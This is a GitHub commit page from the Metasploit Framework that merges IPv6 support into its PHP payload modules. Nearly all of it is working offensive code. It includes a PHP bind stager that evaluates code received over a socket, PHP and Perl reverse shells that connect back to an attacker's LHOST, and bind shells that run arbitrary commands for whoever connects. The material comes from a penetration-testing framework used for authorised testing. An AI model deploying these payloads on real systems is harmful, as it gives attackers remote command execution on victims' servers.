Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
Merge in additional IPv6 support for PHP payloads
  • Loading branch information
HD Moore committed Jan 31, 2012
1 parent 3ed8643 commit ec5fd72
Show file tree
Hide file tree
Showing 8 changed files with 281 additions and 10 deletions.
53 changes: 53 additions & 0 deletions data/php/bind_tcp_ipv6.php
@@ -0,0 +1,53 @@
#<?php

# The payload handler overwrites this with the correct LPORT before sending
# it to the victim.
$port = 4444;
$ipaddr = "::";

if (is_callable('stream_socket_server')) {
$srvsock = stream_socket_server("tcp://[{$ipaddr}]:{$port}");
if (!$srvsock) { die(); }
$s = stream_socket_accept($srvsock, -1);
$s_type = 'stream';
} elseif (is_callable('socket_create_listen')) {
$srvsock = socket_create_listen(AF_INET6, SOCK_STREAM, SOL_TCP);
if (!$res) { die(); }
$s = socket_accept($srvsock);
$s_type = 'socket';
} elseif (is_callable('socket_create')) {
$srvsock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP);
$res = socket_bind($srvsock, $ipaddr, $port);
if (!$res) { die(); }
$s = socket_accept($srvsock);
$s_type = 'socket';
} else {
die();
}
if (!$s) { die(); }

switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
# We failed on the main socket. There's no way to continue, so
# bail
die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();
5 changes: 4 additions & 1 deletion data/php/reverse_tcp.php
Expand Up @@ -5,9 +5,12 @@
# it to the victim.
$ip = '127.0.0.1';
$port = 4444;
$ipf = AF_INET;

if (FALSE !== strpos($ip, ":")) {
# ipv6 requires brackets around the address
$ip = "[". $ip ."]";
$ipf = AF_INET6;
}

if (($f = 'stream_socket_client') && is_callable($f)) {
Expand All @@ -17,7 +20,7 @@
$s = $f($ip, $port);
$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$s = $f($ipf, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
Expand Down
61 changes: 61 additions & 0 deletions modules/payloads/singles/php/bind_perl_ipv6.rb
@@ -0,0 +1,61 @@
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(merge_info(info,
'Name' => 'PHP Command Shell, Bind TCP (via perl) IPv6',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent) over IPv6',
'Author' => ['Samy <samy@samy.pl>', 'cazz'],
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end

#
# Constructs the payload
#
def generate
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
end

#
# Returns the command string to use for execution
#
def command_string

cmd = "perl -MIO -e '$p=fork();exit,if$p;" +
"$c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" +
"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

return cmd
end

end
92 changes: 92 additions & 0 deletions modules/payloads/singles/php/bind_php_ipv6.rb
@@ -0,0 +1,92 @@
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/payload/php'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

include Msf::Payload::Single
include Msf::Payload::Php
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(merge_info(info,
'Name' => 'PHP Command Shell, Bind TCP (via php) IPv6',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell via php (IPv6)',
'Author' => ['egypt', 'diaul <diaul@devilopers.org>',],
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end

#
# PHP Bind Shell
#
def php_bind_shell

dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
shell = <<-END_OF_PHP_CODE
#{php_preamble({:disabled_varname => dis})}
$port=#{datastore['LPORT']};
$scl='socket_create_listen';
if(is_callable($scl)&&!in_array($scl,#{dis})){
$sock=@$scl($port);
}else{
$sock=@socket_create(AF_INET6,SOCK_STREAM,SOL_TCP);
$ret=@socket_bind($sock,0,$port);
$ret=@socket_listen($sock,5);
}
$msgsock=@socket_accept($sock);
@socket_close($sock);
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
{
$o = '';
$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
if(FALSE===$c){break;}
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
}
@socket_write($msgsock,$o,strlen($o));
}
@socket_close($msgsock);
END_OF_PHP_CODE

return shell
end

#
# Constructs the payload
#
def generate
return super + php_bind_shell
end

end
1 change: 0 additions & 1 deletion modules/payloads/singles/php/meterpreter_reverse_tcp.rb
Expand Up @@ -46,4 +46,3 @@ def generate
met
end
end

7 changes: 4 additions & 3 deletions modules/payloads/singles/php/reverse_perl.rb
Expand Up @@ -56,9 +56,10 @@ def generate
# Returns the command string to use for execution
#
def command_string
cmd = "perl -MIO -e '$p=fork;exit,if($p);" +
"$c=new IO::Socket::INET(PeerAddr,\"#{datastore['LHOST']}:#{datastore['LPORT']}\");" +
"STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
lhost = datastore['LHOST']
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
end

end
18 changes: 13 additions & 5 deletions modules/payloads/singles/php/reverse_php.rb
Expand Up @@ -52,16 +52,24 @@ def php_reverse_shell

if (!datastore['LHOST'] or datastore['LHOST'].empty?)
# datastore is empty on msfconsole startup
ipaddr = 0x7f000001
ipaddr = '127.0.0.1'
port = 4444
else
ipaddr = datastore['LHOST'].split(/\./).map{|c| c.to_i}.pack("C*").unpack("N").first
ipaddr = datastore['LHOST']
port = datastore['LPORT']
end
exec_funcname = Rex::Text.rand_text_alpha(rand(10)+5)

uri = "tcp://#{ipaddr}"
socket_family = "AF_INET"

if Rex::Socket.is_ipv6?(ipaddr)
uri = "tcp://[#{ipaddr}]"
socket_family = "AF_INET6"
end

shell=<<-END_OF_PHP_CODE
$ipaddr=long2ip(#{ipaddr});
$ipaddr=#{ipaddr};
$port=#{port};
#{php_preamble({:disabled_varname => "$dis"})}
Expand All @@ -74,7 +82,7 @@ def php_reverse_shell
}
$nofuncs='no exec functions';
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
$s=@fsockopen($ipaddr,$port);
$s=@fsockopen("#{uri}",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
Expand All @@ -92,7 +100,7 @@ def php_reverse_shell
}
fclose($s);
}else{
$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$s=@socket_create(#{socket_family},SOCK_STREAM,SOL_TCP);
@socket_connect($s,$ipaddr,$port);
@socket_write($s,"socket_create");
while($c=@socket_read($s,2048)){
Expand Down
54 changes: 54 additions & 0 deletions modules/payloads/stagers/php/bind_tcp_ipv6.rb
@@ -0,0 +1,54 @@
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/payload/php'
require 'msf/core/handler/bind_tcp'

module Metasploit3

include Msf::Payload::Stager
include Msf::Payload::Php

def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager IPv6',
'Version' => '$Revision$',
'Description' => 'Listen for a connection over IPv6',
'Author' => ['egypt'],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Handler' => Msf::Handler::BindTcp,
'Stager' => { 'Payload' => "" }
))
end
def generate
if (datastore['LPORT'] and not datastore['LPORT'].empty?)
lport = datastore['LPORT']
else
lport = '4444'
end

bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp_ipv6.php'))
bind.gsub!("4444", lport)

return super + bind
end

#
# PHP's read functions suck, make sure they know exactly how much data to
# grab by sending a length.
#
def handle_intermediate_stage(conn, payload)
conn.put([payload.length].pack("N"))
end
end

0 comments on commit ec5fd72

Please sign in to comment.